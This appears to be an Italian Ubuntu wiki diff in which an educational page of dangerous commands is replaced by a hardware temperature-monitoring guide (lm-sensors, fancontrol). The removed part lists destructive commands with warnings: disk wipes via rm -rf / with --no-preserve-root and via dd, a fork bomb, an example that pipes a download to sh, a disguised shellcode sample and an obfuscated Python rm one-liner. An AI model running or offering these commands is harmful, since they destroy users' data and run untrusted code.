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Linea 1: Linea 1:
## page was renamed from ComandiDannosi ## page was renamed from LmSensors
Linea 5: Linea 5:
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
<<Include(NuoviStrumentiWiki/PaginaDiProva)>>
<<Indice>>
<<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528977"; rilasci="22.04 20.04 18.04 16.04 14.04 12.04")>>
Linea 10: Linea 11:
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.

Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host'').

||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. ||

||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' ||

= Comandi da terminale =

<<Anchor(rm)>>
== Rimozione: rm ==

 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
}}}

 ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/note.png,,center)>> ||<style="padding:0.5em; border:none;">''Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro `--no-preserve-root`.'' ||

 * Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], esegue la cancellazione di tutto il contenuto della '''root''' di sistema: {{{
rm -rf /*
}}}
 Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella `/media/` (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).

 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
}}}
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.

 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
}}}

<<Anchor(mkfs)>>
== Formattazione: mkfs ==

Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]].

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`).

{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
}}}

<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==

Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]).

Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.

<<Anchor(fork)>>
== Utilizzo sconsiderato di fork() ==

L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
}}}

<<Anchor(script)>>
== Esecuzione script ==

L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
}}}

<<Anchor(sorgente)>>
= Compilazione codice sorgente =

È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.).

Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}

Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.

= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] come i file `.tar` possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in [[AmministrazioneSistema/FormatiDiCompressione#tar|questo paragrafo]].

= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
}}}
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].

<<Anchor(risorse)>>
In questa guida sono raccolti alcuni strumenti, disponibili per Ubuntu e derivate, finalizzati a monitorare le temperature (nonché tensioni, velocità delle ventole ecc.) relative ai principali componenti hardware del proprio computer, fra cui: processore, scheda grafica, scheda madre, schede di rete, hard disk e SSD.

{{{#!wiki note
Le informazioni e i sensori disponibili dipendono dall'hardware in uso.}}}

= Informazioni generali =

Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, perciò contengono già ''out of the box'' strumenti per visualizzare le temperature.

Nel dettaglio, la directory [[AmministrazioneSistema/Filesystem#A.2Fsys|/sys]] contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare `/sys/class/thermal` è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:
 * `/sys/class/thermal/thermal_zone0/temp` (contenente la temperatura [della CPU] espressa in gradi Celsius e numeri interi divisibili per 100)
 * `/sys/class/thermal/thermal_zone0/type` (contenente il valore corrispondente alla zona in cui la temperatura è rilevata, come ad esempio il sensore '''acpitz''' situato accanto il socket della CPU)

Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice [[Programmazione/Script|script]] che contenga il seguente comando:{{{
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
}}}
L'output sarà simile al seguente:{{{
acpitz 38.0°C
acpitz . °C
acpitz 30.0°C
acpitz 32.0°C
acpitz 31.0°C
acpitz . °C
pch_skylake 36.5°C
iwlwifi_1 33.0°C
x86_pkg_temp 38.0°C
}}}

= acpi =

[controllare se preinstallato, dovrebbe esserlo]

Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{
acpi -t
}}}

Il risultato sarà simile al seguente:{{{
Thermal 0: ok, 30.8 degrees C
Thermal 1: ok, 29.8 degrees C
}}}

= lm-sensors =

'''lm-sensors''' è uno strumento più completo, a linea di comando, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, sulla velocità di rotazione delle ventole e sulle tensioni di alimentazione dei componenti principali.

{{{#!wiki important
In PC con schede madri __AM2RD790__, è noto che l'utilizzo di ''lm-sensors'' può provocare dei gravi danni.
}}}

== Installazione ==

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://lm-sensors|lm-sensors]].
 0. Facoltativo: [[AmministrazioneSistema/InstallareProgrammi|installare]] in aggiunta il pacchetto [[apt://fancontrol|fancontrol]], per gestire le ventole secondo le istruzioni indicate in [[#ventole|questo paragrafo]].
 0. Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{
sudo sensors-detect
}}}
 0. Seguendo le istruzioni a video, rispondere '''Yes''' alle domande che verranno proposte, ad esclusione della domanda riguardante '''I2C/SMBus''' alla quale si dovra rispondere '''No'''.
  {{{#!wiki note
In caso di errore, è possibile ripetere la procedura e rispondere '''Yes''' alla domanda precedente.
 }}}
 0. Al termine della procedura, lo script restituirà un output simile al seguente:{{{
Driver `coretemp':
  * Chip `Intel digital thermal sensor' (confidence: 9)

To load everything that is needed, add this to /etc/modules:
#----cut here----
# Chip drivers
coretemp
#----cut here----
If you have some drivers built into your kernel, the list above will
contain too many modules. Skip the appropriate ones!

Do you want to add these lines automatically to /etc/modules? (yes/NO)
}}}
 Rispondere '''Yes''' anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.
 0. Riavviare il PC.

<<BR>>
Per non attendere il prossimo riavvio è possibile caricare tutti i moduli necessari, come suggerito anche da '''lm-sensors''', con il comando:{{{
/etc/init.d/kmod start
}}}
oppure caricare singolarmente i moduli con il comando: {{{
sudo modprobe nome_modulo
}}}
 sostituendo `nome_modulo` con uno dei moduli che verranno visualizzati dopo avere eseguito il punto 4 della procedura (è necessario ripetere il comando precedente per ognuno dei moduli indicati).

== Utilizzo ==

 0. Avviare il programma digitando il seguente comando: {{{
sensors}}}
 Il risultato sarà simile al seguente: {{{
k8temp-pci-00c3
Adapter: PCI adapter
Core0 Temp:
             +23°C
Core1 Temp:
             +19°C

it8716-isa-0290
Adapter: ISA adapter
VCore: +1.18 V (min = +0.00 V, max = +4.08 V)
VDDR: +3.25 V (min = +0.00 V, max = +4.08 V)
+3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
+5V: +4.81 V (min = +0.00 V, max = +6.85 V)
+12V: +11.58 V (min = +0.00 V, max = +16.32 V)
in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM
5VSB: +4.84 V (min = +0.00 V, max = +6.85 V)
VBat: +2.94 V
fan1: 0 RPM (min = 0 RPM)
fan2: 0 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
temp1: +30°C (low = -1°C, high = +127°C) sensor = diode
temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor
temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor
vid: +1.300 V}}} {{{
acpitz-virtual-0
Adapter: Virtual device
temp1: +49.0°C (crit = +95.0°C)

coretemp-isa-0000
Adapter: ISA adapter
Core 0: +59.0°C (crit = +100.0°C)

coretemp-isa-0001
Adapter: ISA adapter
Core 1: +57.0°C (crit = +100.0°C)
}}}

= hddtemp =

È uno strumento a linea di comando per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.

{{{#!wiki note
Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002484|questa pagina]].
}}}

 0. Solo su Ubuntu 22.04 e successivi, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando, per aggiungere i PPA :{{{
sudo add-apt-repository ppa:malcscott/ppa
}}}
 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://hddtemp|hddtemp]].

Per utilizzare il programma digitare il comando {{{
sudo hddtemp /dev/sd?
}}}
L'output sarà simile al seguente: {{{
/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C
/dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available
}}}

= Interfaccia grafica =

== Ubuntu ==

 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]].
 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''Psensor'''.
 0. Nella colonna '''Grafico''' spuntare i sensori che si vogliono monitorare.
 0. Per altre configurazioni, selezionare '''''Psensor → Preferenze'''''.

== Xubuntu ==

[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://xfce4-sensors-plugin|xfce4-sensors-plugin]].

{{{#!wiki tip
Fare riferimento alla [[http://goodies.xfce.org/projects/panel-plugins/xfce4-sensors-plugin|pagina ufficiale]] del progetto per maggiori informazioni.}}}

== Conky ==

È possibile monitorare i sensori presenti sul proprio computer anche attraverso il programma [[AmbienteGrafico/Conky|Conky]].

<<Anchor(ventole)>>
= Controllo delle ventole =

{{{#!wiki tip
Prima di procedere con quanto descritto di seguito, è necessario installare il pacchetto ''fancontrol'' come descritto in [[#Installazione|questo paragrafo]].}}}

Per controllare le ventole e la scheda madre, aprire un terminale e digitare il seguente comando: {{{
sudo pwmconfig
}}}

Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.

{{{#!wiki important
L'arresto completo delle ventole può cagionare gravi danni termici sia direttamente al hardware, sia indirettamente al software ed i dati contenuti nei supporti d'archiviazione fissi. Procedere con molta cautela.}}}

 0. Creare con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/init.d/fancontrol` e aggiungere le seguenti righe: {{{
#!/bin/sh
#!/bin/sh
#
# Fancontrol start script.
#

set -e

# Defaults
DAEMON=/usr/sbin/fancontrol
PIDFILE=/var/run/fancontrol-pid
PATH=/sbin:/bin:/usr/sbin:/usr/bin

test -f $DAEMON || exit 0

. /lib/lsb/init-functions


case "$1" in
       start)
               log_begin_msg "Starting fancontrol daemon..."
               start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON
               log_end_msg $?
               ;;
       stop)
               log_begin_msg "Stopping fancontrol daemon..."
               start-stop-daemon --stop -o -q -p $PIDFILE
               log_end_msg $?
               ;;
       force-reload|restart)
               sh $0 stop
               sh $0 start
               ;;
       *)
               log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}"
               log_success_msg " start - starts system-wide fancontrol service"
               log_success_msg " stop - stops system-wide fancontrol service"
               log_success_msg " restart, force-reload - starts a new system-wide fancontrol service"
               exit 1
               ;;
esac

exit 0
}}}
 0. Rendere eseguibile lo script, digitando in una finestra di terminale il seguente comando: {{{
sudo chmod +x /etc/init.d/fancontrol
}}}

 0. Avviare lo script con il comando: {{{
/etc/init.d/fancontrol start
}}}

  * Per interromperlo invece, si può fare ricorso al comando: {{{
/etc/init.d/fancontrol stop
}}}

 0. Se l'output non restituisce nessun errore, aprire con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/rc.local` e aggiungere la seguente riga: {{{
/etc/init.d/fancontrol start
}}} in modo da ottenere qualcosa di simile al seguente esempio: {{{
#!/bin/sh
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/etc/init.d/fancontrol start
exit 0
}}}
Linea 127: Linea 274:
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 

## * [[http://www.lm-sensors.org|Sito ufficiale del progetto]]
 * [[https://github.com/lm-sensors/lm-sensors|GitHub lm-sensors]]
 * [[https://launchpad.net/lmsensors|Lm-sensors su Launchpad]]
 * [[http://doc.ubuntu-fr.org/lm-sensors|Lm-sensors su doc.ubuntu-fr.org]]
 * [[http://wiki.ubuntuusers.de/Lm_sensors|Lm-sensors su wiki.ubuntuusers.de]]
 * [[https://help.ubuntu.com/community/SensorInstallHowto|Lm-sensors sul wiki internazionale]]
Linea 134: Linea 283:
#CategoryHardware CategoryAmministrazion


Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento.

Guida verificata con Ubuntu: 20.04 22.04

Problemi in questa pagina? Segnalali in questa discussione

Introduzione

In questa guida sono raccolti alcuni strumenti, disponibili per Ubuntu e derivate, finalizzati a monitorare le temperature (nonché tensioni, velocità delle ventole ecc.) relative ai principali componenti hardware del proprio computer, fra cui: processore, scheda grafica, scheda madre, schede di rete, hard disk e SSD.

Le informazioni e i sensori disponibili dipendono dall'hardware in uso.

Informazioni generali

Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, perciò contengono già out of the box strumenti per visualizzare le temperature.

Nel dettaglio, la directory /sys contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare /sys/class/thermal è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:

  • /sys/class/thermal/thermal_zone0/temp (contenente la temperatura [della CPU] espressa in gradi Celsius e numeri interi divisibili per 100)

  • /sys/class/thermal/thermal_zone0/type (contenente il valore corrispondente alla zona in cui la temperatura è rilevata, come ad esempio il sensore acpitz situato accanto il socket della CPU)

Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice script che contenga il seguente comando:

paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'

L'output sarà simile al seguente:

acpitz        38.0°C
acpitz      . °C
acpitz        30.0°C
acpitz        32.0°C
acpitz        31.0°C
acpitz      . °C
pch_skylake   36.5°C
iwlwifi_1     33.0°C
x86_pkg_temp  38.0°C

acpi

[controllare se preinstallato, dovrebbe esserlo]

Digitare nel terminale il comando:

acpi -t

Il risultato sarà simile al seguente:

Thermal 0: ok, 30.8 degrees C
Thermal 1: ok, 29.8 degrees C

lm-sensors

lm-sensors è uno strumento più completo, a linea di comando, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, sulla velocità di rotazione delle ventole e sulle tensioni di alimentazione dei componenti principali.

In PC con schede madri AM2RD790, è noto che l'utilizzo di lm-sensors può provocare dei gravi danni.

Installazione

  1. Installare il pacchetto lm-sensors.

  2. Facoltativo: installare in aggiunta il pacchetto fancontrol, per gestire le ventole secondo le istruzioni indicate in questo paragrafo.

  3. Digitare nel terminale il comando:

    sudo sensors-detect
  4. Seguendo le istruzioni a video, rispondere Yes alle domande che verranno proposte, ad esclusione della domanda riguardante I2C/SMBus alla quale si dovra rispondere No.

    • In caso di errore, è possibile ripetere la procedura e rispondere Yes alla domanda precedente.

  5. Al termine della procedura, lo script restituirà un output simile al seguente:

    Driver `coretemp':
      * Chip `Intel digital thermal sensor' (confidence: 9)
    
    To load everything that is needed, add this to /etc/modules:
    #----cut here----
    # Chip drivers
    coretemp
    #----cut here----
    If you have some drivers built into your kernel, the list above will
    contain too many modules. Skip the appropriate ones!
    
    Do you want to add these lines automatically to /etc/modules? (yes/NO)

    Rispondere Yes anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.

  6. Riavviare il PC.


Per non attendere il prossimo riavvio è possibile caricare tutti i moduli necessari, come suggerito anche da lm-sensors, con il comando:

/etc/init.d/kmod start

oppure caricare singolarmente i moduli con il comando:

sudo modprobe nome_modulo

  • sostituendo nome_modulo con uno dei moduli che verranno visualizzati dopo avere eseguito il punto 4 della procedura (è necessario ripetere il comando precedente per ognuno dei moduli indicati).

Utilizzo

  1. Avviare il programma digitando il seguente comando:

    sensors

    Il risultato sarà simile al seguente:

    k8temp-pci-00c3
    Adapter: PCI adapter
    Core0 Temp:
                 +23°C
    Core1 Temp:
                 +19°C
    
    it8716-isa-0290
    Adapter: ISA adapter
    VCore:     +1.18 V  (min =  +0.00 V, max =  +4.08 V)   
    VDDR:      +3.25 V  (min =  +0.00 V, max =  +4.08 V)   
    +3.3V:     +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    +5V:       +4.81 V  (min =  +0.00 V, max =  +6.85 V)   
    +12V:     +11.58 V  (min =  +0.00 V, max = +16.32 V)   
    in5:       +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    in6:       +0.00 V  (min =  +0.00 V, max =  +4.08 V)   ALARM
    5VSB:      +4.84 V  (min =  +0.00 V, max =  +6.85 V)   
    VBat:      +2.94 V
    fan1:        0 RPM  (min =    0 RPM)                   
    fan2:        0 RPM  (min =    0 RPM)                   
    fan3:        0 RPM  (min =    0 RPM)                   
    temp1:       +30°C  (low  =    -1°C, high =  +127°C)   sensor = diode   
    temp2:       +30°C  (low  =    -1°C, high =  +127°C)   sensor = thermistor   
    temp3:        -7°C  (low  =    -1°C, high =  +127°C)   sensor = thermistor   
    vid:      +1.300 V

    acpitz-virtual-0
    Adapter: Virtual device
    temp1:       +49.0°C  (crit = +95.0°C)                  
    
    coretemp-isa-0000
    Adapter: ISA adapter
    Core 0:      +59.0°C  (crit = +100.0°C)                  
    
    coretemp-isa-0001
    Adapter: ISA adapter
    Core 1:      +57.0°C  (crit = +100.0°C)

hddtemp

È uno strumento a linea di comando per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.

Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare questa pagina.

  1. Solo su Ubuntu 22.04 e successivi, digitare nel terminale il comando, per aggiungere i PPA :

    sudo add-apt-repository ppa:malcscott/ppa
  2. Installare il pacchetto hddtemp.

Per utilizzare il programma digitare il comando

sudo hddtemp /dev/sd?

L'output sarà simile al seguente:

/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C
/dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available

Interfaccia grafica

Ubuntu

  1. Installare il pacchetto psensor.

  2. Avviare Psensor.

  3. Nella colonna Grafico spuntare i sensori che si vogliono monitorare.

  4. Per altre configurazioni, selezionare Psensor → Preferenze.

Xubuntu

Installare il pacchetto xfce4-sensors-plugin.

Fare riferimento alla pagina ufficiale del progetto per maggiori informazioni.

Conky

È possibile monitorare i sensori presenti sul proprio computer anche attraverso il programma Conky.

Controllo delle ventole

Prima di procedere con quanto descritto di seguito, è necessario installare il pacchetto fancontrol come descritto in questo paragrafo.

Per controllare le ventole e la scheda madre, aprire un terminale e digitare il seguente comando:

sudo pwmconfig

Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.

L'arresto completo delle ventole può cagionare gravi danni termici sia direttamente al hardware, sia indirettamente al software ed i dati contenuti nei supporti d'archiviazione fissi. Procedere con molta cautela.

  1. Creare con un editor di testo e con i privilegi di amministrazione il file /etc/init.d/fancontrol e aggiungere le seguenti righe:

    #!/bin/sh
    #
    # Fancontrol start script.
    #
    
    set -e
    
    # Defaults
    DAEMON=/usr/sbin/fancontrol
    PIDFILE=/var/run/fancontrol-pid
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    
    test -f $DAEMON || exit 0
    
    . /lib/lsb/init-functions
    
    
    case "$1" in
           start)
                   log_begin_msg "Starting fancontrol daemon..."
                   start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON
                   log_end_msg $?
                   ;;
           stop)
                   log_begin_msg "Stopping fancontrol daemon..."
                   start-stop-daemon --stop -o -q -p $PIDFILE
                   log_end_msg $?
                   ;;
           force-reload|restart)
                   sh $0 stop
                   sh $0 start
                   ;;
           *)
                   log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}"
                   log_success_msg "  start - starts system-wide fancontrol service"
                   log_success_msg "  stop  - stops system-wide fancontrol service"
                   log_success_msg "  restart, force-reload - starts a new system-wide fancontrol service"
                   exit 1
                   ;;
    esac
    
    exit 0
  2. Rendere eseguibile lo script, digitando in una finestra di terminale il seguente comando:

    sudo chmod +x /etc/init.d/fancontrol
  3. Avviare lo script con il comando:

    /etc/init.d/fancontrol start
    • Per interromperlo invece, si può fare ricorso al comando:

      /etc/init.d/fancontrol stop
  4. Se l'output non restituisce nessun errore, aprire con un editor di testo e con i privilegi di amministrazione il file /etc/rc.local e aggiungere la seguente riga:

    /etc/init.d/fancontrol start

    in modo da ottenere qualcosa di simile al seguente esempio:

    #!/bin/sh -e
    #
    # rc.local
    #
    # This script is executed at the end of each multiuser runlevel.
    # Make sure that the script will "exit 0" on success or any other
    # value on error.
    #
    # In order to enable or disable this script just change the execution
    # bits.
    #
    # By default this script does nothing.
    /etc/init.d/fancontrol start
    exit 0

Ulteriori risorse


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